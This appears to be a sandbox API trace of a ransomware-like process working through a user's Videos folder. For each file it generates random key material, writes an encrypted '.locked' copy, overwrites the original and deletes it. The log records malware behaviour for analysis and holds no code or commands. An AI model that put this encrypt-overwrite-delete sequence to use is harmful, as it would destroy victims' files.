	[0081.281] SetEvent (hEvent=0x80) returned 1
	[0081.281] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696000*, nNumberOfCharsToWrite=0x42, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12696000*, lpNumberOfCharsWritten=0x127ee83c*=0x42) returned 1
	[0081.282] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\3F7YvuPsBsD.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\3f7yvupsbsd.mp4")) returned 1
	[0081.299] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.299] SetEvent (hEvent=0xa8) returned 1
	[0081.300] SetEvent (hEvent=0x8c) returned 1
	[0081.304] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.304] SetEvent (hEvent=0x8c) returned 1
	[0081.304] SetEvent (hEvent=0x80) returned 1
	[0081.304] SetEvent (hEvent=0x78) returned 1
	[0081.304] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.305] SetEvent (hEvent=0x78) returned 1
	[0081.306] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.306] SetEvent (hEvent=0x78) returned 1
	[0081.307] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.307] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.307] SetEvent (hEvent=0x78) returned 1
	[0081.307] SetEvent (hEvent=0x80) returned 1
	[0081.307] SetEvent (hEvent=0x8c) returned 1
	[0081.307] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.308] SetEvent (hEvent=0x8c) returned 1
	[0081.308] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\3F7YvuPsBsD.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\3f7yvupsbsd.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.308] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0081.308] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.342] CloseHandle (hObject=0xc0) returned 1
	[0081.343] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\3F7YvuPsBsD.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\3f7yvupsbsd.mp4")) returned 1
	[0081.345] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\AttjSvSBA2sduak.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\attjsvsba2sduak.mp4"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54dd6b20, ftCreationTime.dwHighDateTime=0x1d4cd03, ftLastAccessTime.dwLowDateTime=0x11dfc4b0, ftLastAccessTime.dwHighDateTime=0x1d4c747, ftLastWriteTime.dwLowDateTime=0x11dfc4b0, ftLastWriteTime.dwHighDateTime=0x1d4c747, nFileSizeHigh=0x0, nFileSizeLow=0xf15a)) returned 1
	[0081.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\AttjSvSBA2sduak.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\attjsvsba2sduak.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.346] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\AttjSvSBA2sduak.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\attjsvsba2sduak.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.347] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.347] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c2a0 | out: pbBuffer=0x1238c2a0) returned 1
	[0081.347] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8130 | out: pbBuffer=0x127a8130) returned 1
	[0081.347] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416181 | out: pbBuffer=0x12416181) returned 1
	[0081.347] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0081.350] SetEvent (hEvent=0x80) returned 1
	[0081.350] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0xf15a, lpOverlapped=0x0) returned 1
	[0081.352] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xf15a, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0xf15a, lpOverlapped=0x0) returned 1
	[0081.354] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0081.354] CloseHandle (hObject=0xc4) returned 1
	[0081.354] CloseHandle (hObject=0xc0) returned 1
	[0081.355] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.355] SetEvent (hEvent=0x80) returned 1
	[0081.355] SetEvent (hEvent=0x8c) returned 1
	[0081.355] SetEvent (hEvent=0x78) returned 1
	[0081.355] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.356] SetEvent (hEvent=0xa8) returned 1
	[0081.356] SetEvent (hEvent=0x78) returned 1
	[0081.356] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696000*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12696000*, lpNumberOfCharsWritten=0x127ee83c*=0x46) returned 1
	[0081.360] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\AttjSvSBA2sduak.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\attjsvsba2sduak.mp4")) returned 1
	[0081.377] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.378] SetEvent (hEvent=0xa8) returned 1
	[0081.378] SetEvent (hEvent=0x8c) returned 1
	[0081.382] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.382] SetEvent (hEvent=0x8c) returned 1
	[0081.382] SetEvent (hEvent=0x78) returned 1
	[0081.382] SetEvent (hEvent=0x80) returned 1
	[0081.383] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.383] SetEvent (hEvent=0x80) returned 1
	[0081.384] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.385] SetEvent (hEvent=0x80) returned 1
	[0081.385] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.385] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.385] SetEvent (hEvent=0x80) returned 1
	[0081.385] SetEvent (hEvent=0x78) returned 1
	[0081.385] SetEvent (hEvent=0x8c) returned 1
	[0081.385] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.386] SetEvent (hEvent=0x8c) returned 1
	[0081.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\AttjSvSBA2sduak.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\attjsvsba2sduak.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.386] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0081.387] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.405] CloseHandle (hObject=0xc0) returned 1
	[0081.405] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\AttjSvSBA2sduak.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\attjsvsba2sduak.mp4")) returned 1
	[0081.408] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\MbWC4f1Y3.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\mbwc4f1y3.avi"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dcd42f0, ftCreationTime.dwHighDateTime=0x1d4cf32, ftLastAccessTime.dwLowDateTime=0x433a62d0, ftLastAccessTime.dwHighDateTime=0x1d4ce37, ftLastWriteTime.dwLowDateTime=0x433a62d0, ftLastWriteTime.dwHighDateTime=0x1d4ce37, nFileSizeHigh=0x0, nFileSizeLow=0x2f2d)) returned 1
	[0081.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\MbWC4f1Y3.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\mbwc4f1y3.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.408] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.409] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\MbWC4f1Y3.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\mbwc4f1y3.avi.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.409] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.409] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c2a0 | out: pbBuffer=0x1238c2a0) returned 1
	[0081.409] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8130 | out: pbBuffer=0x127a8130) returned 1
	[0081.409] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416181 | out: pbBuffer=0x12416181) returned 1
	[0081.410] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0081.412] SetEvent (hEvent=0x78) returned 1
	[0081.412] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x2f2d, lpOverlapped=0x0) returned 1
	[0081.413] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x2f2d, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x2f2d, lpOverlapped=0x0) returned 1
	[0081.413] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0081.414] CloseHandle (hObject=0xc4) returned 1
	[0081.414] CloseHandle (hObject=0xc0) returned 1
	[0081.414] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0081.414] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.414] SetEvent (hEvent=0x78) returned 1
	[0081.415] SetEvent (hEvent=0x8c) returned 1
	[0081.415] SetEvent (hEvent=0x80) returned 1
	[0081.415] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.415] SetEvent (hEvent=0xa8) returned 1
	[0081.415] SetEvent (hEvent=0x80) returned 1
	[0081.415] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416080*, nNumberOfCharsToWrite=0x40, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12416080*, lpNumberOfCharsWritten=0x127ee83c*=0x40) returned 1
	[0081.416] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\MbWC4f1Y3.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\mbwc4f1y3.avi")) returned 1
	[0081.433] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.434] SetEvent (hEvent=0xa8) returned 1
	[0081.434] SetEvent (hEvent=0x8c) returned 1
	[0081.438] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.439] SetEvent (hEvent=0x8c) returned 1
	[0081.439] SetEvent (hEvent=0x80) returned 1
	[0081.439] SetEvent (hEvent=0x78) returned 1
	[0081.439] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.439] SetEvent (hEvent=0x78) returned 1
	[0081.441] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.441] SetEvent (hEvent=0x78) returned 1
	[0081.441] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.441] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.441] SetEvent (hEvent=0x78) returned 1
	[0081.442] SetEvent (hEvent=0x80) returned 1
	[0081.442] SetEvent (hEvent=0x8c) returned 1
	[0081.442] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.442] SetEvent (hEvent=0x8c) returned 1
	[0081.442] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\MbWC4f1Y3.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\mbwc4f1y3.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.442] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0081.443] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.460] CloseHandle (hObject=0xc0) returned 1
	[0081.461] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\MbWC4f1Y3.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\mbwc4f1y3.avi")) returned 1
	[0081.463] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\_udDYR3Wpn.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\_uddyr3wpn.mp4"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x173f8ce0, ftCreationTime.dwHighDateTime=0x1d4ca8c, ftLastAccessTime.dwLowDateTime=0x22884c30, ftLastAccessTime.dwHighDateTime=0x1d4ca4c, ftLastWriteTime.dwLowDateTime=0x22884c30, ftLastWriteTime.dwHighDateTime=0x1d4ca4c, nFileSizeHigh=0x0, nFileSizeLow=0x10d99)) returned 1
	[0081.464] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\_udDYR3Wpn.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\_uddyr3wpn.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.464] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\_udDYR3Wpn.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\_uddyr3wpn.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.465] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.466] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c2a0 | out: pbBuffer=0x1238c2a0) returned 1
	[0081.466] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8130 | out: pbBuffer=0x127a8130) returned 1
	[0081.466] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416281 | out: pbBuffer=0x12416281) returned 1
	[0081.466] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0081.468] SetEvent (hEvent=0x80) returned 1
	[0081.468] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x10d99, lpOverlapped=0x0) returned 1
	[0081.470] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x10d99, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x10d99, lpOverlapped=0x0) returned 1
	[0081.471] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0081.471] CloseHandle (hObject=0xc4) returned 1
	[0081.472] CloseHandle (hObject=0xc0) returned 1
	[0081.472] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0081.472] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.472] SetEvent (hEvent=0x80) returned 1
	[0081.472] SetEvent (hEvent=0x8c) returned 1
	[0081.472] SetEvent (hEvent=0x78) returned 1
	[0081.473] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.473] SetEvent (hEvent=0x78) returned 1
	[0081.473] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696000*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12696000*, lpNumberOfCharsWritten=0x127ee83c*=0x41) returned 1
	[0081.474] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\_udDYR3Wpn.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\_uddyr3wpn.mp4")) returned 1
	[0081.492] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.492] SetEvent (hEvent=0xa8) returned 1
	[0081.492] SetEvent (hEvent=0x8c) returned 1
	[0081.496] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.497] SetEvent (hEvent=0x8c) returned 1
	[0081.497] SetEvent (hEvent=0x78) returned 1
	[0081.497] SetEvent (hEvent=0x80) returned 1
	[0081.497] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.497] SetEvent (hEvent=0x80) returned 1
	[0081.499] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.499] SetEvent (hEvent=0x80) returned 1
	[0081.499] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.500] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.500] SetEvent (hEvent=0x80) returned 1
	[0081.500] SetEvent (hEvent=0x78) returned 1
	[0081.500] SetEvent (hEvent=0x8c) returned 1
	[0081.500] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.500] SetEvent (hEvent=0x8c) returned 1
	[0081.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\_udDYR3Wpn.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\_uddyr3wpn.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.501] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0081.501] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.517] CloseHandle (hObject=0xc0) returned 1
	[0081.517] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\_udDYR3Wpn.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\_uddyr3wpn.mp4")) returned 1
	[0081.520] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb593970, ftCreationTime.dwHighDateTime=0x1d4d2d9, ftLastAccessTime.dwLowDateTime=0x8a0bc460, ftLastAccessTime.dwHighDateTime=0x1d4d1c0, ftLastWriteTime.dwLowDateTime=0x8a0bc460, ftLastWriteTime.dwHighDateTime=0x1d4d1c0, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0081.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0081.520] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb593970, ftCreationTime.dwHighDateTime=0x1d4d2d9, ftLastAccessTime.dwLowDateTime=0x8a0bc460, ftLastAccessTime.dwHighDateTime=0x1d4d1c0, ftLastWriteTime.dwLowDateTime=0x8a0bc460, ftLastWriteTime.dwHighDateTime=0x1d4d1c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0081.520] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb593970, ftCreationTime.dwHighDateTime=0x1d4d2d9, ftLastAccessTime.dwLowDateTime=0x8a0bc460, ftLastAccessTime.dwHighDateTime=0x1d4d1c0, ftLastWriteTime.dwLowDateTime=0x8a0bc460, ftLastWriteTime.dwHighDateTime=0x1d4d1c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.520] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6711aa0, ftCreationTime.dwHighDateTime=0x1d4cb40, ftLastAccessTime.dwLowDateTime=0xb3964e30, ftLastAccessTime.dwHighDateTime=0x1d4d1a8, ftLastWriteTime.dwLowDateTime=0xb3964e30, ftLastWriteTime.dwHighDateTime=0x1d4d1a8, nFileSizeHigh=0x0, nFileSizeLow=0x123a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="-GSDwwSS6u-ZK.flv", cAlternateFileName="-GSDWW~1.FLV")) returned 1
	[0081.520] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ef51b30, ftCreationTime.dwHighDateTime=0x1d4d540, ftLastAccessTime.dwLowDateTime=0x562c23d0, ftLastAccessTime.dwHighDateTime=0x1d4ce17, ftLastWriteTime.dwLowDateTime=0x562c23d0, ftLastWriteTime.dwHighDateTime=0x1d4ce17, nFileSizeHigh=0x0, nFileSizeLow=0x7169, dwReserved0=0x0, dwReserved1=0x0, cFileName="gOtdtfh8YUufEzB.mp4", cAlternateFileName="GOTDTF~1.MP4")) returned 1
	[0081.521] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c07ee30, ftCreationTime.dwHighDateTime=0x1d4cfe0, ftLastAccessTime.dwLowDateTime=0x650f49a0, ftLastAccessTime.dwHighDateTime=0x1d4c7d1, ftLastWriteTime.dwLowDateTime=0x650f49a0, ftLastWriteTime.dwHighDateTime=0x1d4c7d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpMIxz8V0", cAlternateFileName="IPMIXZ~1")) returned 1
